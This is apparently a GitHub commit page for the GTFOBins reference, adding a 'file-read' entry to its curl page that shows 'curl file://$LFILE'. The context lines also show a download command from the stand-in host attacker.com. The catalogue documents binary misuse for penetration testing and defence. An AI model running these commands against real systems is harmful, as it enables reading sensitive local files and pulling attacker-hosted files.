Skip to content

Commit

Permalink
Add file-read to curl
Browse files Browse the repository at this point in the history
  • Loading branch information
roman-mueller authored and epinna committed Jun 10, 2018
1 parent e3c2d14 commit 7660674
Showing 1 changed file with 5 additions and 0 deletions.
5 changes: 5 additions & 0 deletions _gtfobins/curl.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,4 +12,9 @@ functions:
URL=http://attacker.com/file_to_get
LFILE=file_to_save
curl $URL -o $LFILE
file-read:
- description: The file path must be absolute.
code: |
LFILE=/tmp/file_to_read
curl file://$LFILE
---

0 comments on commit 7660674

Please sign in to comment.